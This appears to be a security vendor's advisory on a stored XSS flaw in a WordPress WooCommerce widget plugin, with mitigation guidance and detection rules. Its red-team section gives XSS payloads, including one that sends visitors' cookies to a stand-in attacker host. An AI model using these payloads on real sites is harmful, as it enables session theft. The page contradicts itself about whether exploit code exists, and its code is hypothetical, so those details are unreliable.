CVE-2024-50447
Executive Summary
CVE-2024-50447 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Envo's Elementor Templates & Widgets for WooCommerce (slug: envo-elementor-for-woocommerce). The vulnerability exists in all versions up to and including 1.4.19. It allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of input during web page generation (CWE-79). As of this report, no official patch has been released by the vendor, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for sites with untrusted contributors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a commercial product by EnvoThemes, and the vulnerable code is delivered as part of the plugin's PHP and JavaScript assets. No known supply chain compromise (e.g., malicious commits or backdoored updates) has been reported. However, the lack of a patch increases the risk of supply chain attacks if the plugin is used in a managed WordPress environment.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor)
- User Interaction: Required (Victim must visit the page)
- Scope: Changed (Impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires authenticated access and user interaction, but stored XSS can lead to session hijacking, defacement, or phishing attacks against site administrators and visitors.
Deep Dive & Mechanics
The vulnerability resides in the plugin's widget rendering logic. The plugin registers custom Elementor widgets for WooCommerce (e.g., product grids, category lists). When rendering these widgets, user-supplied input (such as widget titles, descriptions, or custom CSS classes) is not properly sanitized or escaped before being output into the page's HTML. An attacker with contributor-level access can create or edit a page using the vulnerable widget and inject malicious JavaScript into a text field. The injected script is stored in the WordPress database and executed in the browser of any user viewing the page, including administrators.
The root cause is the use of echo or wp_kses_post with insufficient filtering, or direct output of user input without using esc_html() or wp_kses() with a restrictive whitelist. The plugin likely uses the_title() or similar functions that do not escape output by default.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (hypothetical):
// In a widget render method
echo '<h2>' . $settings['title'] . '</h2>';
Patched Code (hypothetical):
// Properly escape output
echo '<h2>' . esc_html( $settings['title'] ) . '</h2>';
The vulnerable code directly outputs the user-supplied title without escaping, allowing HTML/JavaScript injection. The patched version uses esc_html() to neutralize any HTML tags.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with the vulnerable plugin installed and activated.
- Attacker account with Contributor role or higher.
- Elementor page builder active.
Steps:
- Log in as a Contributor.
- Create a new page or edit an existing one using Elementor.
- Add the "Envo Elementor Templates & Widgets for WooCommerce" widget (e.g., "Product Grid").
- In the widget's title field, inject the following payload:
<img src=x onerror=alert('XSS')> - Save and publish the page.
- When an administrator or any user visits the page, the JavaScript executes.
Advanced Payload (session hijacking):
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual widget content in Elementor pages.
- Look for pages containing
<script>tags or event handlers (e.g.,onerror,onload) in widget fields. - Use a Web Application Firewall (WAF) to block common XSS patterns.
Hardening:
- Restrict contributor roles to trusted users only.
- Disable the plugin if not essential.
- Apply a virtual patch via WAF rules (see Suricata rule below).
- Regularly audit Elementor templates for injected scripts.
Indicators of Compromise (IOCs)
- File-based IOCs:
- Plugin directory:
/wp-content/plugins/envo-elementor-for-woocommerce/ - Suspicious entries in
wp_postmetatable with_elementor_datameta key containing<script>tags.
- Plugin directory:
- Network IOCs:
- Outbound HTTP requests to known malicious domains from the WordPress admin.
- Behavioral IOCs:
- Unexpected JavaScript execution on pages using Envo widgets.
- Administrator session cookies being exfiltrated.
Detection Engineering
YARA Rule
rule CVE_2024_50447_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Envo Elementor Templates & Widgets for WooCommerce"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-50447"
strings:
$xss_payload_1 = /<script[^>]*>.*?<\/script>/is
$xss_payload_2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss_payload_3 = /onload\s*=\s*["']?[^"'\s>]+/is
$plugin_path = "envo-elementor-for-woocommerce"
condition:
$plugin_path and ($xss_payload_1 or $xss_payload_2 or $xss_payload_3)
}
Sigma Rule
title: Stored XSS in Envo Elementor Templates & Widgets for WooCommerce
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress pages using the vulnerable plugin
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-50447
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "envo-elementor-for-woocommerce"
http.body|contains|all:
- "<script"
- "onerror"
condition: selection
falsepositives:
- Legitimate use of JavaScript in Elementor widgets (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-50447 Stored XSS in Envo Elementor Templates & Widgets for WooCommerce"; flow:to_server,established; content:"envo-elementor-for-woocommerce"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove any malicious content from Elementor templates by inspecting
wp_postmetafor_elementor_dataentries containing<script>tags. - Change all administrator passwords if compromise is suspected.
Long-term Fix:
- Monitor the EnvoThemes website or WordPress plugin repository for an update.
- Apply the patch as soon as it becomes available (expected to escape widget output with
esc_html()orwp_kses()).
Virtual Patching:
- Deploy the Suricata rule above to block XSS attempts.
- Use a WAF to filter out
<script>tags and event handlers in POST requests towp-admin/admin-ajax.phpor Elementor endpoints.
Valters IT – Securing WordPress ecosystems one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.